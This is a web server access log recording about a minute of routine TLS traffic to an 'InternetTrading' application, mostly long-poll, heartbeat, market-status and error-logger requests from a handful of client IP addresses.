[09/Jan/2026:14:10:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:10:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939297162 HTTP/1.1" -
[09/Jan/2026:14:10:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:10:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939290861 HTTP/1.1" -
[09/Jan/2026:14:10:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939290652 HTTP/1.1" -
[09/Jan/2026:14:10:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939308419 HTTP/1.1" -
[09/Jan/2026:14:10:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:10:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:10:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939302202 HTTP/1.1" -
[09/Jan/2026:14:10:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939295952 HTTP/1.1" -
[09/Jan/2026:14:10:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939295716 HTTP/1.1" -
[09/Jan/2026:14:10:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939313441 HTTP/1.1" -
[09/Jan/2026:14:10:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939307276 HTTP/1.1" -
[09/Jan/2026:14:10:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939301005 HTTP/1.1" -
[09/Jan/2026:14:10:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939300796 HTTP/1.1" -
[09/Jan/2026:14:10:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939318508 HTTP/1.1" -
[09/Jan/2026:14:10:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:14:10:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:10:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939312377 HTTP/1.1" -
[09/Jan/2026:14:10:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939306137 HTTP/1.1" -
[09/Jan/2026:14:10:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939323568 HTTP/1.1" -
[09/Jan/2026:14:10:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939305993 HTTP/1.1" -
[09/Jan/2026:14:10:38 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:14:10:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:10:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:10:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939317453 HTTP/1.1" -
[09/Jan/2026:14:10:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939311204 HTTP/1.1" -
[09/Jan/2026:14:10:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939328631 HTTP/1.1" -
[09/Jan/2026:14:10:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939312102 HTTP/1.1" -
[09/Jan/2026:14:10:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939322549 HTTP/1.1" -
[09/Jan/2026:14:10:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939316350 HTTP/1.1" -
[09/Jan/2026:14:10:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939333651 HTTP/1.1" -
[09/Jan/2026:14:10:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939317177 HTTP/1.1" -
[09/Jan/2026:14:10:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:10:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:10:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:10:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939327631 HTTP/1.1" -
[09/Jan/2026:14:10:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939321483 HTTP/1.1" -
[09/Jan/2026:14:10:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939338682 HTTP/1.1" -
[09/Jan/2026:14:10:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939322253 HTTP/1.1" -
[09/Jan/2026:14:10:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:10:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:10:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:10:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1956
[09/Jan/2026:14:10:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:10:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939332661 HTTP/1.1" -
[09/Jan/2026:14:10:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939326587 HTTP/1.1" -
[09/Jan/2026:14:10:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939343714 HTTP/1.1" -
[09/Jan/2026:14:10:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939327355 HTTP/1.1" -
[09/Jan/2026:14:11:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939337757 HTTP/1.1" -
[09/Jan/2026:14:11:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939331637 HTTP/1.1" -
[09/Jan/2026:14:11:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939348772 HTTP/1.1" -
[09/Jan/2026:14:11:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939332393 HTTP/1.1" -
[09/Jan/2026:14:11:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:11:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939342820 HTTP/1.1" -
[09/Jan/2026:14:11:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939336853 HTTP/1.1" -
[09/Jan/2026:14:11:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939353842 HTTP/1.1" -
[09/Jan/2026:14:11:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939337454 HTTP/1.1" -
[09/Jan/2026:14:11:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:11:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:11:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939347929 HTTP/1.1" -
[09/Jan/2026:14:11:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939341899 HTTP/1.1" -
[09/Jan/2026:14:11:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939358898 HTTP/1.1" -
[09/Jan/2026:14:11:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939342520 HTTP/1.1" -
[09/Jan/2026:14:11:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939352996 HTTP/1.1" -
[09/Jan/2026:14:11:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939347081 HTTP/1.1" -
[09/Jan/2026:14:11:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939363926 HTTP/1.1" -
[09/Jan/2026:14:11:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:11:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939347641 HTTP/1.1" -
[09/Jan/2026:14:11:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:11:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:11:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939358093 HTTP/1.1" -
[09/Jan/2026:14:11:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939352229 HTTP/1.1" -
[09/Jan/2026:14:11:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939368959 HTTP/1.1" -
[09/Jan/2026:14:11:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939352702 HTTP/1.1" -
[09/Jan/2026:14:11:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:11:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:11:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:11:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939363125 HTTP/1.1" -
